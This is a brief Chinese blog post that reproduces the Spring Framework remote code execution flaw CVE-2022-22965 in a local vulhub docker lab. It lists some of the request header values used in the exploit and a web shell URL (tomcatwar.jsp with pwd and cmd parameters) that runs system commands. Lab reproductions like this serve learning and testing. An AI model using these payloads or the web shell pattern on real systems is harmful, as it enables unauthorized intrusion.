Spring Framework远程代码执行漏洞(CVE-2022-22965)复现

1|0Spring Framework远程代码执行漏洞(CVE-2022-22965)复现

1|1漏洞复现

环境搭建

使用vulhub的docker环境

git clone https://github.com/vulhub/vulhub.git
cd vulhub/spring/CVE-2022-22965
docker-compose up -d

访问http:127.0.0.1:8080

构造请求地址

红色部分替换为

suffix: %>//
c1: Runtime
c2: <%
DNT: 1

访问

http://127.0.0.1:8080/tomcatwar.jsp?pwd=j&cmd=whoami

即可执行命令

__EOF__

本文作者：LRainner
本文链接：https://www.cnblogs.com/LRainner/p/16107266.html
关于博主：评论和私信会在第一时间回复。或者直接私信我。
版权声明：本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！
声援博主：如果您觉得文章对您有帮助，可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力！